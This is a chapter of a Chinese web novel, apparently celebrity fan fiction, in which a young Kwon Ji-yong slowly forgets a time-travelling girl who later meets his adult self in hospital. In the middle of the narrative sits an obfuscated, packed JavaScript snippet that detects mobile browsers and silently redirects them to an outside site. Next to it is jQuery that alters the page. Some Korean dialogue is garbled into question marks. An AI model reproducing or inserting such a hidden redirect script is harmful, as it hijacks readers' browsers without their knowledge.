69.遗忘
作品:《[娱乐圈]粉丝的天价情书》 下午跟Teddy哥讨论歌词创作。
Teddy惯常地分析着流行情歌的要素,“感情嘛,绕不开承诺和永恒。‘永远在一起’,‘一辈子不分离’,这些誓言感是触动听众的关键。”
权至龙正低头拨弄着笔尖,闻言手指猛地一顿,铅笔芯“啪”地折断。
他抬起头,眼神有些空茫地飘向窗外,声音轻得像叹息,“永远……哪有什么绝对的永远?说出口又做不到的誓言……和谎言有什么区别。”
练习结束,和咏裴并肩走下楼梯。
咏裴似乎还沉浸在下午的讨论里,“没有绝对的永远……那是不是说,时间可以带走一切?无论此刻多高兴或多难过,在很久以后,都会被时间抚平?”
权至龙脚步没有停,目光落在脚下延伸的阶梯上,声音低沉而平静,“嗯。时间……是很厉害的东西。”
就像现在,他已经很少想起nuna了。
只是……偶尔。
比如,中午吃到那口鱼香肉丝的时候。
又比如,现在。
走出公司大门,傍晚的风带着凉意。
一辆陌生的黑色奔驰静静地停在路边。
他心底忽然涌起一股冲动,很想再走过去,扒着车窗看看——nuna是不是又在后座闭目养神。
……
真正让权至龙意识到事情不对劲的,是一个再平常不过的日子。
他和咏裴刚从学校出来,正走在去公司的路上。
街角,一阵若有似无的熟悉香气倏地钻进鼻腔——清冽的白茶气息。
不知是谁刚刚经过留下的香水痕迹。
人们说气味是记忆最顽固的载体。
这句话在那一刻得到了最残酷的印证。
权至龙像被施了定身咒,猛地僵在原地。
这味道……他记得!属于一个极其重要的人,一个他绝不应该遗忘的人!
可是……是谁?那张脸、那个名字,就在记忆边缘疯狂打转,却像隔着一层磨砂玻璃,怎么也抓不住、看不清。
他拼命地在脑海里搜寻,心脏像是被一只无形的手越攥越紧,恐慌混合着一种巨大的失落感沉沉下坠。
焦急和难过像藤蔓缠绕上来,勒得他几乎喘不过气。
“至龙?至龙!你怎么了?”
咏裴的声音仿佛从很远的地方传来,带着明显的担忧,叫了好几声才把他从混乱的思绪里拽出来。
权至龙有些茫然地抬起头,视线恰好落在咏裴身上那件熟悉的克罗心外套上。
电光火石间!
汹涌的回忆撞进他的意识——是nuna!是她最常用的香水!
巨大的冲击过后,一种更深的恐惧攫住了他。
他意识到了一个可怕的事实——他正在遗忘,遗忘一些他明明永远不会忘记的东西!
恐慌之下,他开始近乎偏执地对抗这种遗忘。
韩嫣送给他的每一样东西——衣服、纪念币、手写信——都被他翻找出来,郑重其事地摆在书桌、床头这些抬眼就能看见的地方。
他甚至开始写日记,笨拙地、急切地记录下脑海中关于她的每一个片段,每一个笑容,每一句话语,试图阻拦记忆的流逝。
……
时间转眼滑到年末的圣诞夜。朋友们热热闹闹地组织了一场派对。
来的人很多,除了公司里相熟的练习生后辈,还有一起在街舞班练习的朋友们。
空气里弥漫着食物的香气、欢快的音乐和重逢的喜悦。
权至龙到得很早。
他坐在角落,手里握着饮料杯,眼神却总是不由自主地飘向那扇通往玄关的推拉门。
心里有个模糊的期待,或者说是一种难以言喻的焦躁,让他频频张望。
朋友们陆续抵达,寒暄声、笑闹声渐渐填满房间。
大家谈论着近况,互相打趣,约定迟到的人要表演节目助兴。
推拉门一次次滑开,熟悉的面孔一个个出现,带来一阵阵小小的欢呼。
“佑贺哥!你是大忙人啊,终于来了!”有人喊道。
张佑贺带着一身寒气推门进来,爽朗地笑着道歉,“对不住对不住!路上堵成停车场了!我是最后一个了吧?”
“没错!最后一个!罚舞!罚舞!”众人起哄。
“好好好,认罚认罚!人总算齐了,可以开动了吧?饿坏了!”张佑贺笑着应承。
“太好了,今天真是难得,我们人一个不落全到齐了!”大家纷纷附和,气氛热烈。
权至龙的目光却依旧固执地停留在那扇已经安静下来的推拉门上。
没有齐。
还有一个人没来。
一个很重要、很重要的人。
可是她……是谁?
我为什么会哭?
他下意识地抬手,指尖触到脸颊,一片冰凉湿润。
……
意识重新沉回自己的身体,韩嫣才惊觉,现实世界仅仅流逝了三天。
然而,这具身体的状态似乎更糟糕了。
她刚从抢救室被推回普通病房,仿佛那场跨越时空的旅程,透支了她本就所剩无几的生命力。
刚在病床上安顿下来,搁在旁边的平板就亮起一条信息提示——看时间,似乎是她在抢救时发来的。
啊……至龙哥要来看她?
韩嫣盯着那条信息,大脑一片空白。
极致的激动涌上来,带来的竟是一种近乎麻木的迟钝感。
她几乎是下意识地,“啪”地一声合上了平板盖子。
可心底的声音却在疯狂尖叫:她看到了!那条航班信息!他就要到了!
慌乱瞬间攫住了她。
她低头看着自己身上的病号服,又伸手摸了摸干枯毛躁、毫无光泽的头发。
怎么办?
要不要换身衣服?
至少……至少梳洗一下?
那可是权至龙啊!
是她的至龙哥要来看她!
无数念头在脑海中翻腾。
就在这时,病房门被轻轻叩响。
韩嫣的心猛地提到了嗓子眼,大脑一片空白——不会……这么快吧?
门被推开。
是熟悉的护士姐姐。
韩嫣紧绷的神经骤然一松,无声地舒了口气。
护士笑着走进来,“感觉怎么样?有没有哪里不舒服?”
“还好,现在感觉好多了。”韩嫣努力挤出一个笑容。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045481|168042||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
护士点点头,侧身让开门口的位置,笑着说,“那就好。现在方便见见客人吗?”
韩嫣的心跳在那一刻骤然停了一拍。
她的目光已经越过了护士,透过门上的玻璃窗,清晰地捕捉到了那个戴着黑色渔夫帽的身影。
她下意识地点点头,喉咙有些发紧。
护士拉开了门。
尽管来人戴着严实的口罩和帽子,只露出一双眼睛,韩嫣的心跳却瞬间失控,像密集的鼓点疯狂擂动着胸腔。
她甚至能清晰地听到自己“怦怦”的心跳声在寂静的病房里回响。
她暗自庆幸身上没连着心脏监护仪,否则那尖锐的警报声此刻必定响彻云霄。
目光紧紧锁在走进来的权至龙身上,韩嫣情不自禁地将他与记忆中04年的那个少年对比。
虽然是同一个人的不同时期,但刚刚穿越归来的她,无比清晰地感受到了时光在他身上刻下的深刻痕迹——气质沉淀了,轮廓更锋利了,周身萦绕着一种历经世事的疏离感。
对着眼前这个成熟版的权至龙,那句熟稔的“至龙”竟有些难以出口。
她强压下翻涌的心绪,扬起一个尽可能自然的笑容,抬起手轻轻挥了挥,“Hi,至龙哥。”
权至龙摘下帽子和口罩,露出一张轮廓分明、略显疲惫的脸庞,长途飞行的倦意难以掩饰。
但他还是努力打起精神,走到病床前,露出一个温和的笑容。
他伸出手。
韩嫣愣了一下,以为是要握手,迟疑了两秒才抬起自己的手。
然而,那只骨节分明的手却并未伸向她的手心,而是带着一种自然而然的亲昵,轻轻落在了她的发顶,温柔地揉了揉。
韩嫣的身体瞬间僵住,血液仿佛都涌向了耳根,脸颊和耳朵迅速漫上一层滚烫的红晕。
“?????(我们韩嫣)……辛苦了吧??????(做得很好啊)。”他轻声说着韩语,语气里带着疼惜。
随行的翻译立刻将话译成中文,“韩嫣小姐您辛苦了,对抗病魔很坚强。”
韩嫣因为穿越的经历,早已能听懂韩语。
此刻,她能清晰地分辨出权至龙原本话语中那份温和的鼓励,与翻译略显官方的表述之间的微妙差别。
她努力维持着表面的平静,忍下眼眶的酸涩,抬起头,对着他粲然一笑,“欧巴,见到欧巴,我的病感觉都好了一大半呢。”
权至龙被逗笑了,捂着嘴,眼睛弯成了好看的月牙。
接下来的交谈多是些寒暄和鼓励的话语,时间在平静中缓缓流淌。
大约半小时后,护士再次进来提醒韩嫣该吃药了。
权至龙便体贴地和翻译一同告辞离开。
护士一边给韩嫣倒水,一边笑着问,“怎么样?见到偶像了,心情是不是特别好?”
韩嫣接过水杯,仰头吞下药片,笑着回答,“嗯,特别高兴,特别激动。”
然而,当她的目光落回那扇重新关紧的病房门时,脸上的笑意渐渐沉淀下来,眼底掠过一丝难以言喻的复杂与怅然。
至龙哥……是很好啊。
可是,那个04年的,会对着她笑,会喊她“nuna”的至龙……她大概,再也见不到了。